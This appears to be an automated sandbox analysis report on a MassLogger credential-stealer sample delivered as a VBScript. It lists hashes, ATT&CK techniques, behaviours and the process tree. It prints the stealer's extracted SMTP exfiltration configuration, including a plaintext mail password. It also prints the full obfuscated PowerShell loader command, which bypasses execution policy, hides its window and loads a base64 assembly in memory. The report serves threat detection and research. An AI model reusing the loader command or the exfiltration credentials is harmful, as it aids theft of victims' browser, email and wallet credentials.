masslogger | c159d66fab0e24e7c6ac8b4a13d9206ba0e025f588900916ef3f25661da67c04

Analysis

max time kernel
148s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/09/2026, 17:16

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General

Target
CONSULTA.vbs
Size 36.3MB
Sample260914-vtbyfastbw
SHA256 c159d66fab0e24e7c6ac8b4a13d9206ba0e025f588900916ef3f25661da67c04
MD5 a32c860ccadf7c1fc341baf2eb035cca
SHA1 e6d77a9fbd65fac37ffab433cd53678563f4443b
SHA512 285e56a19e521ed3a4525736935253550cf2ae71518665519d0387742c2608a2120277bf40c3be0880571dee4cfea8d6f5e094c945117a5950775ed8593f16bd
SSDEEP 192:+zV/pWpGqvLpg/uDMcK7I5y6IahgPm5A9nMbNopbxHkZqIvtEn3l6XvwU3KheH3B:DQkyk9HAZxdeXNl4MZ2HxYist
TLSH
T126874D427B6C7AFCD793E72BAC41EB54E988522F561EC15B3278437C1E84E636206C63
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection discovery execution masslogger persistence spyware stealer

Malware Config

Extracted

Family

masslogger

Attributes

exfiltration_mode
#SMTPEnabled
expire_time_date
00-00-0000
host_password
5Zw5Y1jmmaqI35RJKi
host_port
25
host_receiver
[email protected]
host_sender
[email protected]
host_server
mail.eso.com.co
ssl_slate
False

Signatures

Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
stealer spyware masslogger

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4256	5936	powershell.exe	86

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4256	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4256	powershell.exe
2436	powershell.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe
Key opened	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	checkip.dyndns.org
1	reallyfreegeoip.org
4	reallyfreegeoip.org

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
2740	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4256 set thread context of 2900	4256	powershell.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5212	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4256	powershell.exe
2436	powershell.exe
2436	powershell.exe
4256	powershell.exe
2900	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4256	powershell.exe
Token: SeDebugPrivilege	2436	powershell.exe
Token: SeDebugPrivilege	2900	RegAsm.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2740 wrote to memory of 2436	2740	WScript.exe	89
PID 4256 wrote to memory of 5212	4256	powershell.exe	91
PID 4256 wrote to memory of 2900	4256	powershell.exe	95
PID 4256 wrote to memory of 2900	4256	powershell.exe	95
PID 4256 wrote to memory of 2900	4256	powershell.exe	95
PID 4256 wrote to memory of 2900	4256	powershell.exe	95
PID 4256 wrote to memory of 2900	4256	powershell.exe	95

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CONSULTA.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$malaxates=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$demecolcine=[Convert]::FromBase64String($malaxates);[AppDomain]::CurrentDomain.Load($demecolcine)|Out-Null;[aaaaa.aaaaaaa]::aaaaaaaaaaa('DKFYa8IliByYUt5k7sYwYQMTFTHcLR1K8j4bDLCAMTfeCMK4T2OwBEU2JolFuo9USaSJW9MZ4T5N9BVKps7s02GPuHL82zkOFu3/QgPSycE=','v6k94o02NIEAh4WWjwQCbaYh+zDY+WtqxM8U6wUBK0U=','oqAWZI50bnipZUzXgyCPyrdk8EL1AQ+jHkCfL6YrxVBPyve2S9GuIUa+EA1ZARoJ','1Ot5v7plbRJawtU2+z9/oYZGvvLA+ZCArAjhu1jccTg=','QmkeSVKIZdjvrgaNAIOcYF78OvsdqafafCxQn4/9hyM=','','NLtT1r+ASb2JqvIS741bryvsos9adqsIdAy/VmSjeRo=','ysGsLeLoSanSyfYzpt35fuI63c3UzAypzYnob2eZ79c=','AIFxHJagXW7ruVq8KsVs6Q5Nyp8anZ4FLx9SM9MFPJY=','XW+RaYqcWEl8pr6CZ/ZMw1Sr8AWoUWU3wSQgmolIFdJOwFFuVuflZ7/lXlZz1DRR','ERdlMi1ZR9ZDFSpLc/TJ6Wvw2ktQqf7URTIh1FDvXk0=','Up6Dqv1ctZGkw7yuwGfWvd1A/LSsWZU9jpexj2EWSg0=','KOT16PDtNtttwHbd/mvqCt5QJDbaiQXIncYJHjBnsTs=','TLCWWd15WO4ZqANRWHGxKOZwvvUfI+2RKypFDEE/2Bo=','3vxf17+aYeStNohQLiTV6gP8Xc0XYQtQfFo/b/ODfwc=','KQCy16m7bFxi37gXtTFOG9mMt9Qr6GUfkFKgDNNIdmI=','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$malaxates=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7+$env:P8+$env:P9+$env:P10+$env:P11+$env:P12+$env:P13+$env:P14+$env:P15+$env:P16+$env:P17+$env:P18+$env:P19+$env:P20+$env:P21+$env:P22+$env:P23+$env:P24+$env:P25+$env:P26+$env:P27+$env:P28+$env:P29+$env:P30+$env:P31+$env:P32+$env:P33+$env:P34+$env:P35+$env:P36+$env:P37+$env:P38;$demecolcine=[Convert]::FromBase64String($malaxates);[AppDomain]::CurrentDomain.Load($demecolcine)|Out-Null;[aaaaa.aaaaaaa]::aaaaaaaaaaa('DKFYa8IliByYUt5k7sYwYQMTFTHcLR1K8j4bDLCAMTfeCMK4T2OwBEU2JolFuo9USaSJW9MZ4T5N9BVKps7s02GPuHL82zkOFu3/QgPSycE=','v6k94o02NIEAh4WWjwQCbaYh+zDY+WtqxM8U6wUBK0U=','oqAWZI50bnipZUzXgyCPyrdk8EL1AQ+jHkCfL6YrxVBPyve2S9GuIUa+EA1ZARoJ','1Ot5v7plbRJawtU2+z9/oYZGvvLA+ZCArAjhu1jccTg=','QmkeSVKIZdjvrgaNAIOcYF78OvsdqafafCxQn4/9hyM=','','NLtT1r+ASb2JqvIS741bryvsos9adqsIdAy/VmSjeRo=','ysGsLeLoSanSyfYzpt35fuI63c3UzAypzYnob2eZ79c=','AIFxHJagXW7ruVq8KsVs6Q5Nyp8anZ4FLx9SM9MFPJY=','XW+RaYqcWEl8pr6CZ/ZMw1Sr8AWoUWU3wSQgmolIFdJOwFFuVuflZ7/lXlZz1DRR','ERdlMi1ZR9ZDFSpLc/TJ6Wvw2ktQqf7URTIh1FDvXk0=','Up6Dqv1ctZGkw7yuwGfWvd1A/LSsWZU9jpexj2EWSg0=','KOT16PDtNtttwHbd/mvqCt5QJDbaiQXIncYJHjBnsTs=','TLCWWd15WO4ZqANRWHGxKOZwvvUfI+2RKypFDEE/2Bo=','3vxf17+aYeStNohQLiTV6gP8Xc0XYQtQfFo/b/ODfwc=','KQCy16m7bFxi37gXtTFOG9mMt9Qr6GUfkFKgDNNIdmI=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\Users\Public\wLUqRUrdqN.vbs"
  2⤵
  - Executes a command shell one-liner
  PID:5212
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - outlook_office_path
  - outlook_win_path
  PID:2900

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:4832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5088

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 4f17593d9aa7fb7f382ab82bf771c95f8717d52d3e91ba3a6dc26952a776b64d
MD5 1c18aceab5b42b86c4fc9ffc81e52999
SHA1 335c2ee77e5ef7a621443dbf24b88d10a443fb70
SHA512 39366b3e7d545de79bd4a4b36bd252a66d3de77e7a3d3115bd6eb9ed1f7c6726c4d64edba418de3fc37cb5bbcd36bdc017b6b9623fee66ffa39ea9f027603bd3
MD5 SHA1 SHA512

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memory/2436-19-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/2436-25-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/2436-23-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/2436-22-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/2900-36-0x0000000007870000-0x000000000787A000-memory.dmp

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memory/2900-35-0x0000000007900000-0x0000000007992000-memory.dmp

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memory/2900-34-0x0000000007A30000-0x0000000007BF2000-memory.dmp

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memory/2900-33-0x0000000007710000-0x0000000007760000-memory.dmp

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memory/2900-32-0x00000000063A0000-0x000000000643C000-memory.dmp

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memory/2900-31-0x00000000068C0000-0x0000000006E7A000-memory.dmp

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memory/2900-27-0x0000000000400000-0x000000000041E000-memory.dmp

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memory/4256-10-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-12-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-17-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-20-0x000001F6AFE10000-0x000001F6AFE1A000-memory.dmp

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memory/4256-16-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-15-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-14-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-13-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-26-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-18-0x000001F6AFD40000-0x000001F6AFE12000-memory.dmp

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memory/4256-0-0x00007FFA50ECF000-0x00007FFA50ED0000-memory.dmp

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memory/4256-30-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-11-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-9-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-6-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-5-0x000001F6B1B30000-0x000001F6B1B52000-memory.dmp

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memory/4256-2-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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memory/4256-1-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp

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